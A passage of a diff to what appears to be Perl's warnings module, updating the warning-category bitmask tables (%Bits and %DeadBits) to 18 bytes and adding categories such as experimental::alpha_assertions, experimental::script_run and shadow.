-    'exec'				=> "\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [7]
-    'exiting'				=> "\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [3]
-    'experimental'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x55\x51\x15\x10", # [51..56,58..62,66]
-    'experimental::bitwise'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00", # [58]
-    'experimental::const_attr'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00", # [59]
-    'experimental::declared_refs'	=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10", # [66]
-    'experimental::lexical_subs'	=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00", # [52]
-    'experimental::postderef'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00", # [55]
-    'experimental::re_strict'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00", # [60]
-    'experimental::refaliasing'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00", # [61]
-    'experimental::regex_sets'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00", # [53]
-    'experimental::signatures'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00", # [56]
-    'experimental::smartmatch'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00", # [54]
-    'experimental::win32_perlio'	=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00", # [62]
-    'glob'				=> "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [4]
-    'illegalproto'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00", # [47]
-    'imprecision'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00", # [46]
-    'inplace'				=> "\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [23]
-    'internal'				=> "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [24]
-    'io'				=> "\x00\x54\x55\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00", # [5..11,57]
-    'layer'				=> "\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [8]
-    'locale'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00", # [63]
-    'malloc'				=> "\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [25]
-    'misc'				=> "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [12]
-    'missing'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01", # [64]
-    'newline'				=> "\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [9]
-    'non_unicode'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00", # [48]
-    'nonchar'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00", # [49]
-    'numeric'				=> "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [13]
-    'once'				=> "\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [14]
-    'overflow'				=> "\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [15]
-    'pack'				=> "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [16]
-    'parenthesis'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00", # [32]
-    'pipe'				=> "\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [10]
-    'portable'				=> "\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [17]
-    'precedence'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00", # [33]
-    'printf'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00", # [34]
-    'prototype'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00", # [35]
-    'qw'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00", # [36]
-    'recursion'				=> "\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [18]
-    'redefine'				=> "\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [19]
-    'redundant'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04", # [65]
-    'regexp'				=> "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [20]
-    'reserved'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00", # [37]
-    'semicolon'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00", # [38]
-    'severe'				=> "\x00\x00\x00\x00\x00\x54\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [21..25]
-    'signal'				=> "\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [26]
-    'substr'				=> "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [27]
-    'surrogate'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00", # [50]
-    'syntax'				=> "\x00\x00\x00\x00\x00\x00\x00\x55\x55\x15\x00\x40\x00\x00\x00\x00\x00", # [28..38,47]
-    'syscalls'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00", # [57]
-    'taint'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00", # [39]
-    'threads'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00", # [40]
-    'uninitialized'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00", # [41]
-    'unopened'				=> "\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [11]
-    'unpack'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00", # [42]
-    'untie'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00", # [43]
-    'utf8'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x15\x00\x00\x00\x00", # [44,48..50]
-    'void'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00", # [45]
+    'all'				=> "\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55", # [0..71]
+    'ambiguous'				=> "\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [29]
+    'bareword'				=> "\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [30]
+    'closed'				=> "\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [6]
+    'closure'				=> "\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [1]
+    'debugging'				=> "\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [22]
+    'deprecated'			=> "\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [2]
+    'digit'				=> "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [31]
+    'exec'				=> "\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [7]
+    'exiting'				=> "\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [3]
+    'experimental'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x55\x51\x15\x50\x01", # [51..56,58..62,66..68]
+    'experimental::alpha_assertions'	=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00", # [67]
+    'experimental::bitwise'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00", # [58]
+    'experimental::const_attr'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00", # [59]
+    'experimental::declared_refs'	=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00", # [66]
+    'experimental::lexical_subs'	=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00", # [52]
+    'experimental::postderef'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00", # [55]
+    'experimental::re_strict'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00", # [60]
+    'experimental::refaliasing'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00", # [61]
+    'experimental::regex_sets'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00", # [53]
+    'experimental::script_run'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01", # [68]
+    'experimental::signatures'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00", # [56]
+    'experimental::smartmatch'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00", # [54]
+    'experimental::win32_perlio'	=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00", # [62]
+    'glob'				=> "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [4]
+    'illegalproto'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00", # [47]
+    'imprecision'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00", # [46]
+    'inplace'				=> "\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [23]
+    'internal'				=> "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [24]
+    'io'				=> "\x00\x54\x55\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00", # [5..11,57]
+    'layer'				=> "\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [8]
+    'locale'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00", # [63]
+    'malloc'				=> "\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [25]
+    'misc'				=> "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [12]
+    'missing'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00", # [64]
+    'newline'				=> "\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [9]
+    'non_unicode'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00", # [48]
+    'nonchar'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00", # [49]
+    'numeric'				=> "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [13]
+    'once'				=> "\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [14]
+    'overflow'				=> "\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [15]
+    'pack'				=> "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [16]
+    'parenthesis'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [32]
+    'pipe'				=> "\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [10]
+    'portable'				=> "\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [17]
+    'precedence'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [33]
+    'printf'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [34]
+    'prototype'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [35]
+    'qw'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00", # [36]
+    'recursion'				=> "\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [18]
+    'redefine'				=> "\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [19]
+    'redundant'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00", # [65]
+    'regexp'				=> "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [20]
+    'reserved'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00", # [37]
+    'semicolon'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00", # [38]
+    'severe'				=> "\x00\x00\x00\x00\x00\x54\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [21..25]
+    'shadow'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04", # [69]
+    'signal'				=> "\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [26]
+    'substr'				=> "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [27]
+    'surrogate'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00", # [50]
+    'syntax'				=> "\x00\x00\x00\x00\x00\x00\x00\x55\x55\x15\x00\x40\x00\x00\x00\x00\x00\x00", # [28..38,47]
+    'syscalls'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00", # [57]
+    'taint'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00", # [39]
+    'threads'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00", # [40]
+    'uninitialized'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00", # [41]
+    'unopened'				=> "\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [11]
+    'unpack'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00", # [42]
+    'untie'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00", # [43]
+    'utf8'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x15\x00\x00\x00\x00\x00", # [44,48..50]
+    'void'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00", # [45]
 );
 
 our %DeadBits = (
-    'all'				=> "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x2a", # [0..66]
-    'ambiguous'				=> "\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [29]
-    'bareword'				=> "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [30]
-    'closed'				=> "\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [6]
-    'closure'				=> "\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [1]
-    'debugging'				=> "\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [22]
-    'deprecated'			=> "\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [2]
-    'digit'				=> "\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [31]
-    'exec'				=> "\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [7]
-    'exiting'				=> "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [3]
-    'experimental'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xaa\xa2\x2a\x20", # [51..56,58..62,66]
-    'experimental::bitwise'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00", # [58]
-    'experimental::const_attr'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00", # [59]
-    'experimental::declared_refs'	=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20", # [66]
-    'experimental::lexical_subs'	=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00", # [52]
-    'experimental::postderef'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00", # [55]
-    'experimental::re_strict'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00", # [60]
-    'experimental::refaliasing'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00", # [61]
-    'experimental::regex_sets'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00", # [53]
-    'experimental::signatures'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00", # [56]
-    'experimental::smartmatch'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00", # [54]
-    'experimental::win32_perlio'	=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00", # [62]
-    'glob'				=> "\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [4]
-    'illegalproto'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00", # [47]
-    'imprecision'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00", # [46]
-    'inplace'				=> "\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [23]
-    'internal'				=> "\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [24]
-    'io'				=> "\x00\xa8\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00", # [5..11,57]
-    'layer'				=> "\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [8]
-    'locale'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00", # [63]
-    'malloc'				=> "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [25]
-    'misc'				=> "\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [12]
-    'missing'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02", # [64]
-    'newline'				=> "\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [9]
-    'non_unicode'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00", # [48]
-    'nonchar'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00", # [49]
-    'numeric'				=> "\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [13]
-    'once'				=> "\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [14]
-    'overflow'				=> "\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [15]
-    'pack'				=> "\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [16]
-    'parenthesis'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", # [32]
-    'pipe'				=> "\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [10]
-    'portable'				=> "\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [17]
-    'precedence'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00", # [33]
-    'printf'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00", # [34]
-    'prototype'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00", # [35]
-    'qw'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00", # [36]
-    'recursion'				=> "\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [18]
-    'redefine'				=> "\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [19]
-    'redundant'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08", # [65]
-    'regexp'				=> "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [20]
-    'reserved'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00", # [37]
-    'semicolon'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00", # [38]
-    'severe'				=> "\x00\x00\x00\x00\x00\xa8\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [21..25]
-    'signal'				=> "\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [26]
-    'substr'				=> "\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [27]
-    'surrogate'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00", # [50]
-    'syntax'				=> "\x00\x00\x00\x00\x00\x00\x00\xaa\xaa\x2a\x00\x80\x00\x00\x00\x00\x00", # [28..38,47]
-    'syscalls'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00", # [57]
-    'taint'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00", # [39]
-    'threads'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00", # [40]
-    'uninitialized'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00", # [41]
-    'unopened'				=> "\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [11]
-    'unpack'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00", # [42]
-    'untie'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00", # [43]
-    'utf8'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x2a\x00\x00\x00\x00", # [44,48..50]
-    'void'				=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00", # [45]
+    'all'				=> "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa", # [0..71]
+    'ambiguous'				=> "\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [29]
+    'bareword'				=> "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [30]
+    'closed'				=> "\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [6]
+    'closure'				=> "\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [1]
+    'debugging'				=> "\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [22]
+    'deprecated'			=> "\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [2]
+    'digit'				=> "\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [31]
+    'exec'				=> "\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [7]
+    'exiting'				=> "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", # [3]
+    'experimental'			=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xaa\xa2\x2a\xa0\x02", # [51..56,58..62,66..68]
+    'experimental::alpha_assertions'	=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00", # [67]
+    'experimental::bitwise'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00", # [58]
+    'experimental::const_attr'		=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00", # [59]
+    'experimental::declared_refs'	=> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00", # [66]
